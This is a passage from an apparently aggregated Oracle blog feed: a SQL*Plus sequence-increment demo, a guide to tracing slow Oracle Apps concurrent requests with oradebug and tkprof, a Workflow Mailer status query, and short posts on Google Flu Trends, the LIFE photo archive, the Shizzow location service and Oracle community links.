30
40
50
60
70
80
90
100
10 rows selected.
SQL> SELECT * FROM user_sequences WHERE sequence_name = 'TEST_SEQ';
SEQUENCE MIN_VALUE MAX_VALUE INCREMENT_BY C O CACHE_SIZE LAST_NUMBER
-------- ---------- ---------- ------------ - - ---------- -----------
TEST_SEQ -1000 1.0000E+27 10 N N 20 210
SQL> ALTER SEQUENCE TEST_SEQ INCREMENT BY -10;
Sequence altered.
SQL> SELECT * FROM user_sequences WHERE sequence_name = 'TEST_SEQ';
SEQUENCE MIN_VALUE MAX_VALUE INCREMENT_BY C O CACHE_SIZE LAST_NUMBER
-------- ---------- ---------- ------------ - - ---------- -----------
TEST_SEQ -1000 1.0000E+27 -10 N N 20 90
SQL> SELECT test_seq.nextval FROM dual CONNECT BY LEVEL <= 10;
NEXTVAL
----------
90
80
70
60
50
40
30
20
10
0
10 rows selected.
SQL> SELECT * FROM user_sequences WHERE sequence_name = 'TEST_SEQ';
SEQUENCE MIN_VALUE MAX_VALUE INCREMENT_BY C O CACHE_SIZE LAST_NUMBER
-------- ---------- ---------- ------------ - - ---------- -----------
TEST_SEQ -1000 1.0000E+27 -10 N N 20 -110
SQL> ALTER SEQUENCE TEST_SEQ INCREMENT BY 10;
Sequence altered.
SQL> SELECT * FROM user_sequences WHERE sequence_name = 'TEST_SEQ';
SEQUENCE MIN_VALUE MAX_VALUE INCREMENT_BY C O CACHE_SIZE LAST_NUMBER
-------- ---------- ---------- ------------ - - ---------- -----------
TEST_SEQ -1000 1.0000E+27 10 N N 20 10
SQL> SELECT test_seq.nextval FROM dual CONNECT BY LEVEL <= 10;
NEXTVAL
----------
10
20
30
40
50
60
70
80
90
100
10 rows selected.
The Navigation List - select something and update the page
Troubleshoot long running Concurrent Request in Apps 11i/R12
This post covers overview of How to troubleshoot long running concurrent request in Oracle Apps 11i/R12
Step 1 : Check Concurrent Request ID of long running concurrent request from front end
Step 2 : Find SID, SERIAL# and SPID by running SQL (given below)
Step 3 : Enable event 10046 trace with level 12 using oradebug ( for 15-20 minute)
Step 4 : Disable trace (once you are happy with trace size)
Step 5 : Convert raw trace to TKPROF using various sort options like fchela, prsela, execpu
Step 6 : Check TKPROF out file to find root cause of slow concurrent request
.
Step 1 : Check Request ID from Find Concurrent request screen (In my case Request ID is 2355)
Step 2 : Run below command to find SPID, provide concurrent request ID (2355 in my case) when prompted
SELECT a.request_id, d.sid, d.serial# ,d.osuser,d.process , c.SPID
FROM apps.fnd_concurrent_requests a,
apps.fnd_concurrent_processes b,
v$process c,
v$session d
WHERE a.controlling_manager = b.concurrent_process_id
AND c.pid = b.oracle_process_id
AND b.session_id=d.audsid
AND a.request_id = &Request_ID
AND a.phase_code = ‘R’;
REQUEST_ID SID SERIAL# OSUSER PROCESS SPID
—————-
2355 514 28 applmgr 17794 1633.
.
Step 3.1 : Check and confirm SPID on Database Node
oraclevis11i@onlineappsdba>ps-ef | grep 1633
ovis11i 1633 1 0 13:30:43 ? 0:03 oraclevis11i (LOCAL=NO)
Step 3.2 : Set OSPID (1633 in my case) for ORADEBUG
SQL> oradebug setospid 1633
—
Oracle pid: 68, Unix process pid: 1633, image: oraclevis11i@onlineappsdba
—
Step 3.3 : Enable trace for 10046 event with level 12
SQL> oradebug event 10046 trace name context forever, level 12
Step 3.4 : Locate Trace file as
SQL>oradebug tracefile_name
/oracle/apps/vis11idb/10.2.0/admin/vis11i_onlineappsdba/udump/vis11i_ora_1633.trc
Wait for 15-20 minutes
Step 4 : Disable trace
SQL> oradebug event 10046 trace name context off
Step 5: Create tkprof file like
tkprof ‘/oracle/ apps/ vis11idb/ 10.2.0/ admin/ vis11i_onlineappsdba/ udump/ vis11i_ora_1633.trc’ ’/oracle/ apps/ vis11idb/ 10.2.0/ admin/ vis11i_onlineappsdba/ udump/ tkprof_1633.txt’ explain=apps/[apps_passwd] fchela …
Step 6 : Check TKPROF file to find root cause of slow concurrent requet
.
References
- 39817.1 Interpreting Raw SQL_TRACE and DBMS_SUPPORT.START_TRACE output
- 32951.1 Tkprof Interpretation
- ORADEBUG event tracing from dba-oracle
- dbaanswers.blogspot.com script for slow concurrent request
How to interpret TKPROF to find potential performance issues, coming soon …..
Previous in series Related Posts for Troubleshooting- Troubleshoot Oracle Apps Web Server and Login Issues
- Troubleshooting Concurrent Managers
- Oracle Apps Web Server Apache, Login Troubleshooting
- Troubleshooting Oracle Portal SSO OHS Webcache OAS
- Troubleshoot long running Concurrent Request in Apps 11i/R12
Troubleshoot long running Concurrent Request in Apps 11i/R12
This is summary of post for full content kindly visit http://onlineAppsDBA.com
Good Habits for Consultants
I found this great link the other day about good habits for consultants. Doing some Googling, I was able to build a quick list of posts about habits for consultants:
- Great consultants have the following good habits
- Seven Habits of Highly Effective Consultants
- 101 Tips for Consultants
Here is another good tid-bit for consultants: 7 greatest challenges
In the past, I found some good jokes about consultants, but the links were broken. Here are some more:

SQL to monitor (check status) of Workflow Notification Mailer (Java)
SQL> SELECT COMPONENT_STATUS from APPS.FND_SVC_COMPONENTS
where COMPONENT_ID=10006;
- Oracle Workflow Notification Mailer
- Workflow Notification Mailer Setup in Oracle Apps R12/12i
- Oracle Workflow Notification Mailer Outbound Processing
- How to update Workflow Administrator Role in Oracle Applications 11i/R12
- SQL to monitor (check status) of Workflow Notification Mailer (Java)
SQL to monitor (check status) of Workflow Notification Mailer (Java)
This is summary of post for full content kindly visit http://onlineAppsDBA.com
Google Does and Knows a Lot
It’s pretty hard to keep up with all the stuff Google does. There are several blogs I know of whose only purpose in life is to cover Google.
Anyway, a couple noteworthy Google announcements recently caught my attention. So, I figured I share them and collect your thoughts.
Google Flu Trends
Google.org announced Google Flu Trends recently, which tracks aggregated search data to estimate flu activity in the US (and by state). So your search for any number of flu-related keywords alerts Google Flu Search to the possibility of an influenza rise in your state.
Pretty Orwellian, but cool. At first blush, the logic here sounded weak to me. After all, lots of Internet doctors exist out there (my wife is one), and this approach puts a fair amount of faith into a person’s ability to diagnose symptoms effectively.
Not to mention the fact that the usage of Google state-by-state may not represent a large enough sample to make these assumptions. So, interested, but skeptical, I dug more deeply.
Turns out this theory was tested last year, and it closely mirrors data collected by the CDC. Even more surprising to me is that the data generated by Google Flu Trends estimate with good accuracy the spread of flu, one to two weeks ahead of the CDC models.
Surprising to me and yet another example of what Google knows about us all.
Google Hosts Images from Life
Google announced (by way of Lifehacker) this week that they are hosting newly digitized images from the LIFE magazine photo archive, available for search on Google Image Search.
Only a very small percentage of these images have ever been published. The rest have been sitting in dusty archives in the form of negatives, slides, glass plates, etchings, and prints. We’re digitizing them so that everyone can easily experience these fascinating moments in time. Today about 20 percent of the collection is online; during the next few months, we will be adding the entire LIFE archive — about 10 million photos.
This is very cool to me. There are loads of great shots that have never been published by famous photographers of events and times long past. It’s a very interesting way to look back into history.
This is a good move by LIFE too, but what’s missing for me is the usage licenses for these images. I’ve mentioned Flickr as a great source for Creative Commons licensed work to use in presentations and blogs.
I suspect the licensing for these digitized images is highly difficult to sort out, considering that each photographer could have had a different agreement with LIFE, but still there’s not a single clue as to whether I can use them or not and why.
I hope they sort that out and publish it soon so these fantastic photos can spread around the ‘tubes.
addthis_url = 'http%3A%2F%2Ftheappslab.com%2F2008%2F11%2F20%2Fgoogle-does-and-knows-a-lot%2F'; addthis_title = 'Google+Does+and+Knows+a+Lot'; addthis_pub = '';Shizzow Expands Beyond the Rose City
I’ve mentioned Portland-based Shizzow a few times in the past in posts about geo-aware services and networking.
Shizzow has been open to Portlanders only until this week, but Tuesday they added the Bay Area. And now today, Seattle is also supported.
Full disclosure: I know all the principles that make up the little Shizzow operation. They’re all working on Shizzow as a side-project (read in addition to regular jobs), and they’re bootstrapping rather than taking outside money, a good call considering the current economy.
Oh yeah, what is Shizzow? It’s (another) geo-location social network. Its purpose is simplicity, born out of necessity. Portland has a huge nomadic geek population, bouncing around the many wi-fi coffeehouse and mobile working locations around town.
Shizzow’s goal is to make ad-hoc meetups and gatherings happen more easily. Rather than broadcasting the address of your current (or soon-to-be) location, Shizzow has a collection of human-understandable locations from which you can “shout”, e.g. if I’m at CubeSpace and I want to grab some lunch, I can shout my location as CubeSpace, rather than 622 SE Grand.
This makes it easier for my friends to know where I am. Shizzow has several ways to shout, web page (natch), IM, SMS, Google Gadget. Oddly, there is no Twitter integration. I’ve asked about that several times. The Shizzow web page interface supports Mozilla Geoge, which is nice when Geode has a clue about where you are.
If you’re wondering, yes, it sounds like Brightkite and Loopt and “insert geo-aware social network name here”. Dawn Foster, Shizzow’s community manager, differentiates for us:
We developed Shizzow to solve a specific need: the desire to find our friends and hang out with them. The other services had so much clutter that we weren’t able to effectively solve our need using any of the existing location-based applications. We aren’t out to convert our competitors’ users over to Shizzow; plenty of people find value in these other location-based services. However, if you are focused on connecting with your friends in the real world, and like us, you need a better way to find your friends, we hope you will give Shizzow a try.
I find Shizzow suffers from the same gap that all the other do; I can never remember to update it when I go somewhere. Maybe I don’t move around enough. That’s why I’ve been asking for a Twitter bot from the beginning; I’m on Twitter frequently. I sometimes remember to tweet when I’m on the go. Therefore, a Twitter bot would be the best way to get me to shout my location.
This was what I really liked about Firebot, the Twitter bot for Fire Eagle, which has since gone dark, a casualty of the loss of XMPP/IM integration.
Anyway, with a small development crew (three?) who all have day jobs, Shizzow has managed to do quite a lot. So, if you live in Portland, Seattle or the Bay Area, or have a bunch of friends in those regions and visit there a lot, drop a comment for an invite to Shizzow, or hit up @shizzow on Twitter.
Like everything, it’s a beta service, but of course, they’re looking for feedback. So, if you’re interested check it out and send your thoughts to them (or put them in comments here).
Although, based on the comments (or lack thereof) on the geo-related posts I’ve done here, I’m guessing not many of you will care very much.
Prove me wrong.
addthis_url = 'http%3A%2F%2Ftheappslab.com%2F2008%2F11%2F20%2Fshizzow-expands-beyond-the-rose-city%2F'; addthis_title = 'Shizzow+Expands+Beyond+the+Rose+City'; addthis_pub = '';Ask the Experts - 47
Ask the Experts - 46
Oracle iProcurement Handbook
The Oracle iProcurement Handbook, written by ex-Oracle iProc guru Kalyana Muthyala, covers both technical and functional aspects of iProcurement.
Hyperion, R12 and BIP, EBS, ADF, 11g Clusterware, External Table Preprocessor, Public Grants, Carl Backstrom
An announcement from the Look Smarter Than You Are blog that the new EPM 11.1.1.1 release is out, and it swats bugs left and right. Read about it here.
R12 and BI Publisher Patch
A new patch is out for changing the default layout format between RTF/PDF/Excel when submitting XML / BI Publisher Concurrent Request in R12. Read about it at the In Depth Apps - Oracle eBusiness Suite.
EBS
Steven Chan is continuing a series of Open World recaps with this posting on Advanced Deployment Architectures for Oracle E-Business Suite.
ADF
Raghu Yadav's weblog brings us some good links on How to deploy ADF Application on Oracle WebLogic 10.3.
11g Clusterware
11g allows you to use ASM to protect a single instance, not just a multinode system. Alejandro Vargas has a good posting on the steps involved.
External Table Preprocessor
The Structured Data blog has a very useful posting on usage of a feature introduced in 11g (and being backported to 10.2.0.5), an external table preprocessor.
Public Grants
It seems simple enough: Revoke public grants to improve security, yes? Well, not quite so fast! Good posting over at Pete Finnigan's blog on the subject, with some valuable material in the comments as well.
Carl Backstrom
As I reported a couple of weeks ago, we lost Carl Backstrom, one of our most popular Oracle bloggers, to a car accident. There is a memorial entry at his blog and a memorial fund open to benefit his daughter.




